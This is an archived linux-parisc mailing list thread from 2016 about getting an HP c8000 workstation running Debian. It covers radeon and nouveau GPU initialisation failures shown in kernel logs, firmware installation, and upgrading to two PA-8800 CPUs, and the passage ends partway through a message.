[   33.224000] radeon 0000:80:00.0: GTT: 512M 0x60000000 - 0x7FFFFFFF
[   33.300000] [drm] Generation 1 PCI interface in multifunction mode
[   33.372000] [drm] Limiting VRAM to one aperture
[   33.428000] radeon 0000:80:00.0: VRAM: 256M 0xFFFFFFFFC8000000 - 0xFFFFFFFFD7FFFFFF (256M used)
[   33.532000] [drm] Detected VRAM RAM=256M, BAR=128M
[   33.588000] [drm] RAM width 256bits DDR
[   33.636000] [TTM] Zone  kernel: Available graphics memory: 4107304 kiB
[   33.716000] [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
[   33.792000] [TTM] Initializing pool allocator
[   33.844000] [drm] radeon: 256M of VRAM memory ready
[   33.904000] [drm] radeon: 512M of GTT memory ready.
[   33.968000] [drm] radeon: 2 quad pipes, 1 Z pipes initialized.
[   34.052000] radeon 0000:80:00.0: WB disabled
[   34.104000] radeon 0000:80:00.0: fence driver on ring 0 use gpu addr 0x0000000060000000 and cpu addr 0x0000000011302000
[   34.232000] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
[   34.312000] [drm] Driver supports precise vblank timestamp query.
[   34.384000] [drm] radeon: irq initialized.
[   34.436000] [drm] Loading R300 Microcode
[   34.936000] radeon 0000:80:00.0: firmware: direct-loading firmware radeon/R300_cp.bin
[   35.044000] [drm] radeon: ring at 0x0000000060001000
[   35.296000] [drm:r100_ring_test [radeon]] *ERROR* radeon: ring test failed (scratch(0x15E4)=0xCAFEDEAD)
[   35.412000] [drm:r100_cp_init [radeon]] *ERROR* radeon: cp isn't working (-22).

^^^ HERE is the problem.
We don't know why the ring test fails.
Debugging it is difficult if you don't are an expert on Radeon cards and C8000 chipsets.
If it would succeed, then I assume we would get accelerated graphics/3D.

[   35.500000] radeon 0000:80:00.0: failed initializing CP (-22).
[   35.568000] radeon 0000:80:00.0: Disabling GPU acceleration

^^^
Again, the kernel says it disables acceleration.

[   35.824000] [drm:r100_cp_fini [radeon]] *ERROR* Wait for CP idle timeout, shutting down CP.
[   35.936000] [drm] radeon: cp finalized
[   35.996000] [drm] radeon: cp finalized
[   36.040000] [TTM] Finalizing pool allocator
[   36.092000] [TTM] Zone  kernel: Used memory at exit: 0 kiB
[   36.156000] [TTM] Zone   dma32: Used memory at exit: 0 kiB
[   36.224000] [drm] radeon: ttm finalized
[   36.268000] [drm] Forcing AGP to PCI mode
[   36.376000] [drm] Generation 1 PCI interface in multifunction mode
[   36.452000] [drm] Limiting VRAM to one aperture
[   36.508000] radeon 0000:80:00.0: VRAM: 256M 0xFFFFFFFFC8000000 - 0xFFFFFFFFD7FFFFFF (256M used)
[   36.612000] radeon 0000:80:00.0: GTT: 512M 0xFFFFFFFFA8000000 - 0xFFFFFFFFC7FFFFFF
[   36.700000] [drm] Detected VRAM RAM=256M, BAR=128M
[   36.760000] [drm] RAM width 256bits DDR
[   36.804000] [TTM] Zone  kernel: Available graphics memory: 4107304 kiB
[   36.884000] [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
[   36.960000] [TTM] Initializing pool allocator
[   37.016000] [drm] radeon: 256M of VRAM memory ready
[   37.072000] [drm] radeon: 512M of GTT memory ready.
[   37.132000] [drm] GART: num cpu pages 131072, num gpu pages 131072
[   37.236000] [drm] radeon: 2 quad pipes, 1 Z pipes initialized.
[   37.304000] [drm] PCI GART of 512M enabled (table at 0x0000000042440000).
[   37.388000] radeon 0000:80:00.0: WB enabled
[   37.436000] radeon 0000:80:00.0: fence driver on ring 0 use gpu addr 0xffffffffa8000000 and cpu addr 0x000000007dc21000
[   37.564000] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
[   37.644000] [drm] Driver supports precise vblank timestamp query.
[   37.720000] [drm] radeon: irq initialized.
[   37.792000] [drm] radeon: ring at 0xFFFFFFFFA8001000
[   38.048000] [drm:r100_ring_test [radeon]] *ERROR* radeon: ring test failed (scratch(0x15E4)=0xCAFEDEAD)
[   38.164000] [drm:r100_cp_init [radeon]] *ERROR* radeon: cp isn't working (-22).
[   38.252000] radeon 0000:80:00.0: failed initializing CP (-22).
[   38.320000] radeon 0000:80:00.0: Disabling GPU acceleration
[   38.580000] [drm:r100_cp_fini [radeon]] *ERROR* Wait for CP idle timeout, shutting down CP.
[   38.708000] [drm] radeon: cp finalized
[   38.784000] [drm] No TV DAC info found in BIOS
[   38.836000] [drm] Radeon Display Connectors
[   38.888000] [drm] Connector 0:
[   38.924000] [drm]   DVI-I-1
[   38.956000] [drm]   HPD1
[   38.988000] [drm]   DDC: 0x60 0x60 0x60 0x60 0x60 0x60 0x60 0x60
[   39.060000] [drm]   Encoders:
[   39.096000] [drm]     CRT1: INTERNAL_DAC1
[   39.144000] [drm]     DFP1: INTERNAL_TMDS1
[   39.192000] [drm] Connector 1:
[   39.228000] [drm]   DVI-I-2
[   39.260000] [drm]   HPD2
[   39.292000] [drm]   DDC: 0x64 0x64 0x64 0x64 0x64 0x64 0x64 0x64
[   39.364000] [drm]   Encoders:
[   39.400000] [drm]     CRT2: INTERNAL_DAC2
[   39.448000] [drm]     DFP2: INTERNAL_DVO1
[   39.508000] radeon 0000:80:00.0: No connectors reported connected with modes
[   39.596000] [drm] Cannot find any crtc or sizes - going 1024x768
[   39.832000] [drm] fb mappable at 0xFFFFFFFFC8040000
[   39.892000] [drm] vram apper at 0xFFFFFFFFC8000000
[   39.948000] [drm] size 3145728
[   39.984000] [drm] fb depth is 24
[   40.024000] [drm]    pitch is 4096
[   40.068000] Console: switching to colour frame buffer device 128x48
[   40.296000] radeon 0000:80:00.0: fb0: radeondrmfb frame buffer device
[   40.376000] [drm] Initialized radeon 2.43.0 20080528 for 0000:80:00.0 on minor 0

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel hangs with ATI video cards
Date: Sat, 2 Apr 2016 17:12:49 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <9F2D288D-F45A-42B1-A5EE-648638D29CAA@bell.net>
References: <CACrbsaApY_w3EcCKnvexqij4fDxedYFvcPVaZPm23wrS+i5HPg@mail.gmail.com> <CAFk90B_NF6WZrOHii7F+F1Hb1YE8YxpJ+nTxmO5nhsc=1N=6MQ@mail.gmail.com> <CACrbsaAdyUQFSJpq9h859LX5z2Kixr2HJLQvWqeDsBgKRVn00A@mail.gmail.com> <56FEEA54.8000909@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1459631582 28374 80.91.229.3 (2 Apr 2016 21:13:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 Apr 2016 21:13:02 +0000 (UTC)
Cc: Simone Mannori <simone.mannori@gmail.com>,
	Graham Gower <graham.gower@gmail.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 02 23:12:54 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1amSqi-0000rH-Qx
	for glpp-linux-parisc@plane.gmane.org; Sat, 02 Apr 2016 23:12:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750819AbcDBVMw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 Apr 2016 17:12:52 -0400
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:6455 "EHLO
	torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750762AbcDBVMv convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 Apr 2016 17:12:51 -0400
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20160402211250.SMYC12778.torfep01.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 2 Apr 2016 17:12:50 -0400
Original-Received: from [192.168.2.10] (really [184.144.122.130])
          by torspm01.bell.net with ESMTP
          id <20160402211250.XKIL13708.torspm01.bell.net@[192.168.2.10]>;
          Sat, 2 Apr 2016 17:12:50 -0400
In-Reply-To: <56FEEA54.8000909@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020203.570035D2.007E,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26573
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26573>

On 2016-04-01, at 5:38 PM, Helge Deller wrote:

> On 01.04.2016 15:11, Simone Mannori wrote:
>> Success!
>> 
>> As you have suggested, I have manually downloaded the package
>> 
>> --> firmware-linux-nonfree_0.36+wheezy.1_all.deb
>> 
>> from here:
>> 
>> https://packages.debian.org/wheezy/all/firmware-linux-nonfree/download
>> 
>> then I have installed it (as root) with "dpkg -i
>> firmware-linux-nonfree_0.36+wheezy.1_all.deb"
> 

A year or so ago I compared the radeon firmware provided here with that used on hpux
and they were the same.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Re:  Re: Re: HP c8000 linux install issues, troubles and questions
Date: Sat, 2 Apr 2016 17:48:25 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <E1592B17-FA77-42CC-A08F-331C63DE3408@bell.net>
References: <CACrbsaC7KnupAXvon-PRWTXnAZ13Hb5Xmc3364aVivY4HGCC6Q@mail.gmail.com> <4207644.uZSTasQYhb@caliban.sf-tec.de> <trinity-a1bc4683-085f-4f5b-870e-03082f9b89ba-1459237701367@3capp-gmx-bs02> <CACrbsaC_gOAmUixFoE+rXf-TFT0P6VEEDT-2txig09QgzC6iOQ@mail.gmail.com> <trinity-d7ee1960-e99b-416c-bd06-9a3e7bf998bc-1459245685774@3capp-gmx-bs62> <56FA7786.6070100@gmx.de> <56FA77FB.6090406@gmx.de>, <CACrbsaD5qP5e99=47j4E+-vq0V1DKDytqzHVakHeH7DJ_-K+5w@mail.gmail.com> <trinity-13a381d1-e1fb-42af-8cd9-4197fe95fdfd-1459331985395@3capp-gmx-bs41>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1459633718 25810 80.91.229.3 (2 Apr 2016 21:48:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 Apr 2016 21:48:38 +0000 (UTC)
Cc: "Simone Mannori" <simone.mannori@gmail.com>,
	"Rolf Eike Beer" <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: "Helge Deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 02 23:48:30 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1amTPB-0000KF-OH
	for glpp-linux-parisc@plane.gmane.org; Sat, 02 Apr 2016 23:48:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750767AbcDBVs2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 Apr 2016 17:48:28 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:3178 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750766AbcDBVs1 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 Apr 2016 17:48:27 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20160402214826.KEDB30048.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 2 Apr 2016 17:48:26 -0400
Original-Received: from [192.168.2.10] (really [184.144.122.130])
          by mtlspm01.bell.net with ESMTP
          id <20160402214826.VLWE17299.mtlspm01.bell.net@[192.168.2.10]>;
          Sat, 2 Apr 2016 17:48:26 -0400
X-Priority: 3
In-Reply-To: <trinity-13a381d1-e1fb-42af-8cd9-4197fe95fdfd-1459331985395@3capp-gmx-bs41>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020202.57003E2A.006C,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26574
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26574>

On 2016-03-30, at 5:59 AM, Helge Deller wrote:

>> Now, I'm fighting with a very hardware issue: the screws of the PA
>> CPUs are non standard hex with a center pin. I hate this things.
>> Yesterday evening I was ready to upgrade from a single PA-8800/900 MHz
>> to a dual PA-8900/1GHz 
> 
> I'm not sure if this will simply work. I was looking at the idea myself
> once, and googling for that it seems that some firmware update needs to
> be done in order for the machine to accept the additional CPU.
> If you do it, please let us know...

I had to replace cpu in my rp3440.  I asked vendor if it would be possible to increase speed
from 800 MHz and they said no.  I think it's possible to add a second cpu but don't have any
personal experience.  The machine did run with one cpu module.

The screws are a pain...

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Re: Re: Re: HP c8000 linux install issues, troubles and questions
Date: Sun, 3 Apr 2016 08:39:15 +0200
Lines: 97
Approved: news@gmane.org
Message-ID: <CACrbsaAaTdMvm=SP1+SSSuCk_2M3qUGeJ9z2SWa39XLjRnS3Sw@mail.gmail.com>
References: <CACrbsaC7KnupAXvon-PRWTXnAZ13Hb5Xmc3364aVivY4HGCC6Q@mail.gmail.com>
	<4207644.uZSTasQYhb@caliban.sf-tec.de>
	<trinity-a1bc4683-085f-4f5b-870e-03082f9b89ba-1459237701367@3capp-gmx-bs02>
	<CACrbsaC_gOAmUixFoE+rXf-TFT0P6VEEDT-2txig09QgzC6iOQ@mail.gmail.com>
	<trinity-d7ee1960-e99b-416c-bd06-9a3e7bf998bc-1459245685774@3capp-gmx-bs62>
	<56FA7786.6070100@gmx.de>
	<56FA77FB.6090406@gmx.de>
	<CACrbsaD5qP5e99=47j4E+-vq0V1DKDytqzHVakHeH7DJ_-K+5w@mail.gmail.com>
	<trinity-13a381d1-e1fb-42af-8cd9-4197fe95fdfd-1459331985395@3capp-gmx-bs41>
	<E1592B17-FA77-42CC-A08F-331C63DE3408@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1459665567 16319 80.91.229.3 (3 Apr 2016 06:39:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 Apr 2016 06:39:27 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 03 08:39:20 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ambgr-00029Z-Ui
	for glpp-linux-parisc@plane.gmane.org; Sun, 03 Apr 2016 08:39:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751835AbcDCGjR convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Apr 2016 02:39:17 -0400
Original-Received: from mail-ig0-f171.google.com ([209.85.213.171]:38096 "EHLO
	mail-ig0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751723AbcDCGjQ convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Apr 2016 02:39:16 -0400
Original-Received: by mail-ig0-f171.google.com with SMTP id ui10so38056720igc.1
        for <linux-parisc@vger.kernel.org>; Sat, 02 Apr 2016 23:39:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-transfer-encoding;
        bh=UrV2iqYuA6AxnNP36enEPHbzDNQFmWJNFnYXLQ1d2OE=;
        b=GiPg/t/XNYwCKQ3MV8Pp3CWStzuVyOchVD7TdeBF5Y0KhPWyofVQ/72HTFql7odJPt
         weor79LW3v6Hupk6/ei6lG1TbniJ7MwKs7Aavz7+tavt6DqJ7ZuLdaTH8xwC8OqSkgUL
         yF9Jrjd8uAAKFmjIZBX/N55E4pA6dZnyVL0NDKcxtzbaqFaEVoA0GRyWs2prhwOBolIn
         yK/C5zgk9AAllx98glliSXbNVsYR8vk0CXTBapa8g+rBWHgYy5RhkwY+4XOIkxoDvwOS
         AQyv0jG3MKfle8hhyzwxq2JBBk1986PofCP/dXVve/aEPWMCYGmINYR4aQWlsYV8SO2l
         CUqw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-transfer-encoding;
        bh=UrV2iqYuA6AxnNP36enEPHbzDNQFmWJNFnYXLQ1d2OE=;
        b=DAv/qxqAf2KkQik1bnPtRVoSpHcV3fXbDE6LhfAz2VkGS1jeHO/xoQogt3Uuile7Ru
         TGYjJq1chLCvHpdifQm938PRkyNV5K24LYeM2prhqa7nXUW5OBG+lvisS9TFmir2+DL6
         CIOnSDQYv+khkIVuCAQogUC0BNQcDc9DmST54sR820JneHB4rPTfOq75v8guXpsgazOi
         +Z2Ah+uC6bEY4yflR7pMhqnKU9f3sp+vxI/zTOw/nAj9scSYx387GcxEFt5W+nV7JNtK
         yCfCQZXmfYcQlZAIndasl2uYD6MSw659EBCWugfmRGG9be8NdgTrFvDWXAOMz6ICEV8/
         beQg==
X-Gm-Message-State: AD7BkJKfdkbWowXSzRkL+7v8FZQEMgOsf6rNK8M5a+yHSrGeHy47CIYmbC4tqgW8ME5IAhslCYKRcLac/5cvsw==
X-Received: by 10.107.9.202 with SMTP id 71mr11525644ioj.52.1459665555569;
 Sat, 02 Apr 2016 23:39:15 -0700 (PDT)
Original-Received: by 10.64.25.227 with HTTP; Sat, 2 Apr 2016 23:39:15 -0700 (PDT)
In-Reply-To: <E1592B17-FA77-42CC-A08F-331C63DE3408@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26575
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26575>

In my - very limited, just one c8000 - experience, the CPU upgrade is
a successfull move: I have upgraded from one to two PA-8800:

-----------------------------------------------------------------------=
-------
   (c) Copyright 1995-2004, Hewlett-Packard Company, All rights reserve=
d
-----------------------------------------------------------------------=
-------

  Processor   Speed            State           CoProcessor        Cache=
 Size
  Number                                       State              Inst =
   Data
  ---------  --------   ---------------------  -----------------  -----=
-------
      0      1000 MHz   Active                 Functional         32 MB=
/32 MB
      1      1000 MHz   Idle                   Functional         32 MB=
/32 MB
      2      1000 MHz   Idle                   Functional         32 MB=
/32 MB
      3      1000 MHz   Idle                   Functional         32 MB=
/32 MB

The two CPUs MUST be of the same model, have the same clock frequency
AND have the same revision number. I strongly suspect that HP has
produced "equal" CPUs but with different revision number.

I had the very same issue restoring and upgrading a DELL 690, a dual
Xeon "Gro=C3=9Frechner " with 1100Watt power supply. The two Xeon must =
be
"matched" otherwise the BIOS refuse to start the booting process.

I have recently bough two PA-8800 on ebay and the supplier has sent to
me two different CPUs! Looking the integrated heat sink, there are two
models: the plain "clear alluminium" and the "satinated copper". My
c8000 was equipped with a single "satinated copper" CPU, so I chose
the identical one and, with the help of a very skilled technician
equiped with the right screwdrivers, I have successfully completed the
upgrade: everythings works perfectly with HP-UX v11 and Linux Debian
8.0 kernel :

Linux version 4.4.0-1-parisc64-smp (debian-kernel@lists.debian.org)
(gcc version 4.9.3 (GCC) ) #1 SMP Debian 4.4.6-1 (2016-03-17)

If you need, I can dump the CPUs revision numbers. With the help of
Helge, I'm putting the results of my jurney in the c8000 territory on
a dedicated wikipage: searching in the maling list messages can be
very frustrating, expecially for a newbie like me.

Now, I'm fighting with the video cards initializiation failure: I
strongly suspect that the problem is not inside the (kernel) video
driver module because both "nouveau" (NVIDIA) and "radeon" (ATI)
produce exactly the very same error message and switch back to
"passive" frame buffer mode.

 Simone Mannori - Italy


On 2 April 2016 at 23:48, John David Anglin <dave.anglin@bell.net> wrot=
e:
> On 2016-03-30, at 5:59 AM, Helge Deller wrote:
>
>>> Now, I'm fighting with a very hardware issue: the screws of the PA
>>> CPUs are non standard hex with a center pin. I hate this things.
>>> Yesterday evening I was ready to upgrade from a single PA-8800/900 =
MHz
>>> to a dual PA-8900/1GHz
>>
>> I'm not sure if this will simply work. I was looking at the idea mys=
elf
>> once, and googling for that it seems that some firmware update needs=
 to
>> be done in order for the machine to accept the additional CPU.
>> If you do it, please let us know...
>
> I had to replace cpu in my rp3440.  I asked vendor if it would be pos=
sible to increase speed
> from 800 MHz and they said no.  I think it's possible to add a second=
 cpu but don't have any
> personal experience.  The machine did run with one cpu module.
>
> The screws are a pain...
>
> Dave
> --
> John David Anglin       dave.anglin@bell.net
>
>
>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Video cards init failure loading the device driver kernel module
Date: Sun, 3 Apr 2016 09:34:13 +0200
Lines: 208
Approved: news@gmane.org
Message-ID: <CACrbsaB0jQ_9xOCwebpsf5jMijqoi7mHopo4nNC-RAnvSye3VQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1459668864 27378 80.91.229.3 (3 Apr 2016 07:34:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 Apr 2016 07:34:24 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Graham Gower <graham.gower@gmail.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 03 09:34:19 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1amcY4-00069G-Qe
	for glpp-linux-parisc@plane.gmane.org; Sun, 03 Apr 2016 09:34:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751965AbcDCHeP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Apr 2016 03:34:15 -0400
Original-Received: from mail-ig0-f173.google.com ([209.85.213.173]:37096 "EHLO
	mail-ig0-f173.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751723AbcDCHeO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Apr 2016 03:34:14 -0400
Original-Received: by mail-ig0-f173.google.com with SMTP id l20so38933257igf.0
        for <linux-parisc@vger.kernel.org>; Sun, 03 Apr 2016 00:34:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:date:message-id:subject:from:to:cc;
        bh=ovtfKK3Ip+nj/ceN38I5eyhT+BC/aXLziksKE7Rb6Nc=;
        b=0+7ydNM1Gup79776xiRs5hmk6qgwWI0U3TfSYUP2NNX7oqYRaKdfjVZj59tpu+tnbW
         Pvqr7wSr4mMrLR5oKGTvQA/EZznP3K9wqBzQr4qREX9UBKYkO7vcJ7cOcbNqDOB3Cgmg
         uuA/W5/HbqTaM+ZqtGfjHEQwnT4NU9fGSqJEucDtHE4G4vjg+OVdihqOOylJtYx53Hyy
         n1ljOnGGBGcMUS/Ji9sMQVIE5sxCREBKiePBtmyjBU/14yNU1t6IZrDOMUVpcmYu4Yf8
         B42UMZYOCPhCpsrVJH0oZ/xuryk8pZjk3tYhEkyCExCSikQfv8qsDg17B52xyKWcRhzc
         /YMw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:date:message-id:subject:from:to:cc;
        bh=ovtfKK3Ip+nj/ceN38I5eyhT+BC/aXLziksKE7Rb6Nc=;
        b=eDlk0d6REN/KGugbKMubb1kUMHCk56pTYWkB1LaKOVnhj0crI1yZNusbKGd9dtVJjO
         MP8Vo9+wv7RmL9kXkDgMni1bGRFNkySOEyj2VCHM4DNTfZmskcT6ZtJzpF9O9GZaJZ6j
         08vQxxuzF3w9+TkpiOpMaOdF2bDoTW/vc1ajtSchpY4ZXy3eELJnx6SV53PJ595GHBW7
         6SRNtVCMwqpM1nMEjm+cf/cNQASpSOd12RYNUMBXiI4DyiAuLQf+m1mNyo17DXNq13u9
         varagRvcpXW/dNN932G1mMMEljfUSCRC7SrNtW9XHiUbpnhlgURwU0YbpNRo0o79G2/H
         50sg==
X-Gm-Message-State: AD7BkJJojXUzUZMj5CVy12vcy51817qyOg7FY1twwiPAhfF7XD2b6T+InOjwylvLzB/xOPuPr5JvQrAU4hcsPA==
X-Received: by 10.107.3.149 with SMTP id e21mr9087938ioi.46.1459668853468;
 Sun, 03 Apr 2016 00:34:13 -0700 (PDT)
Original-Received: by 10.64.25.227 with HTTP; Sun, 3 Apr 2016 00:34:13 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26576
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26576>

Dear All,

following you suggestions, now I have an - almost - perfectly working
hp c8000 workstation.

Mission accomplished? Not exactly: despite a lot of efforts, the video
card section is still not fully operative. Let me resume the
situation.

I'm using a c8000 with two PA-8800 and Debian 8.0, kernel:

Linux version 4.4.0-1-parisc64-smp (debian-kernel@lists.debian.org)
(gcc version 4.9.3 (GCC) ) #1 SMP Debian 4.4.6-1 (2016-03-17)

I have two very different AGP video cards (ATI FireGL T2 and NVIDIA
QUADRO MXR) that have the same issue, despite the two complety
different drivers ("radeon" and "nouveau"). The full logs are in
bottom of this post. Just to make a long history short:

ATI FIRE GL T2 ("radeon")
[   47.836000] [drm:r100_ring_test [radeon]] *ERROR* radeon: ring test
failed (scratch(0x15E4)=0xCAFEDEAD)
[   47.948000] [drm:r100_cp_init [radeon]] *ERROR* radeon: cp isn't
working (-22).
[   48.036000] radeon 0000:80:00.0: failed initializing CP (-22).
[   48.036000] radeon 0000:80:00.0: Disabling GPU acceleration

NVIDIA QUADRO MXR ("nouveau")
[   54.388000] nouveau 0000:80:00.0: DRM: GPU lockup - switching to
